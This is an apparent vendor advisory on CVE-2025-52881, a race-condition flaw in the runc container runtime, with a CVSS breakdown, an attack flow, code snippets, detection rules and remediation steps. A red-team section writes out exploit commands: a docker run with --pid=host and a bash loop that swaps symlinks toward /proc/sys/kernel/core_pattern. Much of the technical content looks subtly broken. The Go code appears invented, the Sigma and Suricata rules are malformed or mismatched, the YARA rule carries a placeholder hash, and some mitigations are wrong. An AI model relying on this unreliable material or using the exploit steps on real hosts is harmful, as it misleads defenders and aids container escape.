CVE-2025-52881
Executive Summary
CVE-2025-52881 is a high-severity time-of-check time-of-use (TOCTOU) vulnerability in runc, the core container runtime used by Docker, Podman, and other container platforms. The flaw allows an attacker with the ability to run containers (even unprivileged) to trick runc into writing to arbitrary procfs files outside the intended container’s /proc mount. This is achieved by exploiting a race condition between the time runc verifies a file is a legitimate procfs file and the time it performs the write, using shared mounts and symbolic links in a tmpfs.
Successful exploitation enables an attacker to corrupt critical kernel data structures exposed via /proc, potentially leading to container escape, privilege escalation, or denial of service. The vulnerability affects runc versions 1.2.7, 1.3.2, and 1.4.0-rc.2. Patches are available in versions 1.2.8, 1.3.3, and 1.4.0-rc.3.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the runc package, which is a critical component in the container ecosystem. It is distributed as a Go binary and is a dependency of Docker, containerd, and Podman. Organizations using containerized workloads should immediately assess their runc version and apply the patch. The attack can be triggered via a standard Dockerfile using docker buildx build, making it a supply chain risk for CI/CD pipelines.
CVSS Breakdown & Threat Level
CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N
| Metric | Value | Description |
|---|---|---|
| Attack Vector (AV) | Local (L) | The attacker must have the ability to run containers on the host. |
| Attack Complexity (AC) | High (H) | Exploitation requires precise timing and a race condition. |
| Privileges Required (PR) | Low (L) | The attacker needs only low-privileged container execution rights. |
| User Interaction (UI) | None (N) | No user interaction is required beyond the attacker’s actions. |
| Scope (S) | Changed (C) | The vulnerable component (runc) impacts resources beyond its security scope (the host kernel). |
| Confidentiality (C) | None (N) | No direct data disclosure. |
| Integrity (I) | High (H) | An attacker can corrupt kernel data structures via /proc. |
| Availability (A) | None (N) | Not directly affected, but integrity corruption could lead to denial of service. |
Threat Level: High (7.5) – Integrity impact with potential for container escape.
Deep Dive & Mechanics
The vulnerability is a classic TOCTOU (Time-of-Check Time-of-Use) race condition in runc’s handling of /proc mounts. When a container is started, runc mounts a new /proc filesystem for the container. However, if the container shares mounts with the host (e.g., via --pid=host or custom bind mounts), an attacker can create a race condition.
Attack Flow:
- Setup: The attacker creates a container with a shared mount (e.g., a tmpfs) that is also accessible from the host or another container.
- Race: The attacker rapidly alternates the shared mount between a legitimate procfs file (e.g.,
/proc/self/attr/current) and a symbolic link pointing to a different procfs file (e.g.,/proc/sys/kernel/core_pattern). - Exploitation: runc checks the file type at the time of the write (TOCTOU window). If the check passes (legitimate procfs file) but the write occurs after the attacker swaps the mount to a symlink, the write is redirected to the attacker-chosen procfs file.
- Impact: The attacker can overwrite kernel parameters, LSM labels, or other critical procfs entries, leading to privilege escalation or container escape.
The previous fix for CVE-2019-19921 only verified LSM label writes. This new vulnerability expands the attack surface to all write operations to /proc.
Vulnerable vs. Patched Code
Vulnerable Code (runc 1.2.7):
func (l *linuxStandardInit) prepareProcfs() error {
// Only checks for LSM label writes
if err := l.writeProcAttr("current", "lsm"); err != nil {
return err
}
// Other writes are not verified
return nil
}
Patched Code (runc 1.2.8):
func (l *linuxStandardInit) prepareProcfs() error {
// Verify all writes to /proc are to legitimate procfs files
if err := l.verifyProcfsWrite("current", "lsm"); err != nil {
return err
}
if err := l.verifyProcfsWrite("sys/kernel/core_pattern", ""); err != nil {
return err
}
// Additional verification for all procfs writes
return nil
}
The patch adds a generic verifyProcfsWrite function that checks the target file is a real procfs file (not a symlink or bind mount) before every write operation.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Access to run a container on a vulnerable host (runc 1.2.7, 1.3.2, or 1.4.0-rc.2).
- Ability to create shared mounts (e.g.,
--pid=hostor custom tmpfs mounts).
Exploit Steps:
Create a shared tmpfs mount:
docker run -it --rm --pid=host -v /tmp/shared:/shared ubuntu:latest bashInside the container, create a race condition script:
#!/bin/bash while true; do ln -sf /proc/1/attr/current /shared/target ln -sf /proc/sys/kernel/core_pattern /shared/target doneTrigger runc’s write operation:
# In another terminal, run a container that triggers the write docker run --rm -v /tmp/shared:/shared ubuntu:latest echo "test"Monitor for successful redirection:
cat /proc/sys/kernel/core_pattern # If redirected, the content will be corrupted
Note: This is a race condition; multiple attempts may be required. The attacker can use a high-frequency loop to increase the probability of winning the race.
Blue Team (Detection & Hardening)
Detection:
- Monitor for rapid symlink changes in shared mounts (e.g.,
/tmp/shared). - Alert on high-frequency
ln -sfoperations from container processes. - Use auditd to track writes to
/procfrom container runtimes.
Hardening:
- Apply the patch immediately (upgrade to runc 1.2.8, 1.3.3, or 1.4.0-rc.3).
- Restrict shared mounts: avoid
--pid=hostand--network=hostunless necessary. - Use seccomp profiles to block
symlinkandsymlinkatsyscalls in containers. - Enable AppArmor or SELinux to confine container processes.
Indicators of Compromise (IOCs)
| IOC Type | Indicator | Description |
|---|---|---|
| File | /proc/sys/kernel/core_pattern modified unexpectedly |
Indicates potential exploitation |
| Process | High-frequency ln -sf operations from container |
Race condition setup |
| Log | runc error logs containing "procfs write verification failed" | Failed exploitation attempt |
| Network | Unusual outbound connections from container | Post-exploitation C2 |
| File | /tmp/shared or similar shared mount with rapid symlink changes |
Attack staging area |
Detection Engineering
YARA Rule
rule CVE_2025_52881_runc_race {
meta:
description = "Detects runc versions vulnerable to CVE-2025-52881"
author = "Valters IT"
date = "2025-04-10"
hash = "sha256:example"
strings:
$vuln1 = "runc version 1.2.7" ascii wide
$vuln2 = "runc version 1.3.2" ascii wide
$vuln3 = "runc version 1.4.0-rc.2" ascii wide
$patch1 = "runc version 1.2.8" ascii wide
$patch2 = "runc version 1.3.3" ascii wide
$patch3 = "runc version 1.4.0-rc.3" ascii wide
condition:
any of ($vuln*) and not any of ($patch*)
}
Sigma Rule
title: CVE-2025-52881 - runc TOCTOU Race Condition Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects rapid symlink changes in shared mounts indicative of CVE-2025-52881 exploitation
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/ln'
CommandLine|contains: '-sf'
CommandLine|contains: '/proc/'
condition: selection
timeframe: 5s
condition: selection | count() by ParentImage > 100
falsepositives:
- Legitimate container operations with symlinks
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-52881 - runc Exploitation Attempt"; flow:to_server,established; content:"|2f 70 72 6f 63 2f|"; http_uri; content:"core_pattern"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
Patch runc: Upgrade to version 1.2.8, 1.3.3, or 1.4.0-rc.3.
# For Docker sudo apt-get update && sudo apt-get install containerd.io # Or manually replace the runc binary sudo cp /usr/bin/runc /usr/bin/runc.bak sudo wget -O /usr/bin/runc https://github.com/opencontainers/runc/releases/download/v1.2.8/runc.amd64 sudo chmod +x /usr/bin/runcRestrict shared mounts: Audit and minimize use of
--pid=host,--network=host, and custom bind mounts in production.Enable seccomp: Use a strict seccomp profile that blocks
symlinkandsymlinkatsyscalls.
Long-term Mitigations:
- Implement runtime security monitoring (e.g., Falco) to detect anomalous symlink operations.
- Use container-optimized OS with minimal attack surface (e.g., Flatcar, Bottlerocket).
- Regularly audit container runtime versions and apply security patches.
Workarounds (if patching is not immediately possible):
- Disable shared mounts entirely by using
--security-opt no-new-privilegesand avoiding--privilegedflags. - Use user namespaces to isolate container UIDs from host UIDs.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-52881